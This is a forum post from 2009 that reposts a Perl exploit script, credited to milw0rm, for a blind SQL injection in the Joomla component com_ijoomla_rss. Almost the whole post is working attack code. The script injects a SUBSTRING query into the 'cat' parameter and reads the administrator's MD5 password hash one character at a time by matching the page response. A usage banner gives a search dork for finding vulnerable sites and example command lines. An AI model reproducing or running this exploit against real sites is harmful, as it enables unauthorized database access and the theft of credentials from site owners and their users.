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    Joomla Component com_ijoomla_rss Blind SQL Injection Exploit

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    Foxi
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    Posts : 92
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    Join date : 2009-07-08

    Joomla Component com_ijoomla_rss Blind SQL Injection Exploit

    Post by Foxi on Wed Jul 08, 2009 4:20 am

    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use Getopt::Long;
    if(!$ARGV[1])
    {
      print "                                                                        \n";
      print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
      print "  o  Joomla Component com_ijoomla_rss Blind SQL Injection Exploit              o\n";
      print "  o  Author:xoron                                              o\n";
      print "  o  More info:http://joomla15.ijoomlademo.com o\n";
      print "  o  vendor:http://ijoomlademo.com                                o\n";
      print "  o  Dork :  com_ijoomla_rss                                      o\n";
      print "  o  Usage:  perl bachir.pl host path <options>                      o\n";
      print "  o  Example: perl bachir.pl www.host.com /joomla/ -s 2                o\n";
      print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
      exit;
    }
    my $host    = $ARGV[0];
    my $path    = $ARGV[1];
    my $userid  = 1;
    my $sid    = $ARGV[2];
    my %options = ();
    GetOptions(\%options, "u=i", "s=i");
    print "[~] Exploiting...\n";
    if($options{"u"})
    {
      $userid = $options{"u"};
    }
    if($options{"s"})
    {
      $sid = $options{"s"};
    }
    syswrite(STDOUT, "[~] MD5-Hash: ", 14);
    for(my $i = 1; $i <= 32; $i++)
    {
      my $f = 0;
      my $h = 48;
      while(!$f && $h <= 57)
      {
        if(istrue2($host, $path, $userid, $sid, $i, $h))
        {
          $f = 1;
          syswrite(STDOUT, chr($h), 1);
        }
        $h++;
      }
      if(!$f)
      {
        $h = 97;
        while(!$f && $h <= 122)
        {
          if(istrue2($host, $path, $userid, $sid, $i, $h))
          {
            $f = 1;
            syswrite(STDOUT, chr($h), 1);
          }
          $h++;
        }
      }
    }
    print "\n[~] Exploiting done\n";
    sub istrue2
    {
      my $host  = shift;
      my $path  = shift;
      my $uid  = shift;
      my $sid  = shift;
      my $i    = shift;
      my $h    = shift;
     
      my $ua = LWP::UserAgent->new;
      my $query = "http://".$host.$path."index.php?option=com_ijoomla_rss&act=xml&cat=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";
      my $resp = $ua->get($query);
      my $content = $resp->content;
      my $regexp = "seminar_boxA";
     
      if($content =~ /$regexp/)
      {
        return 1;
      }
      else
      {
        return 0;
      }
    }

    # milw0rm.com [2009-06-15]


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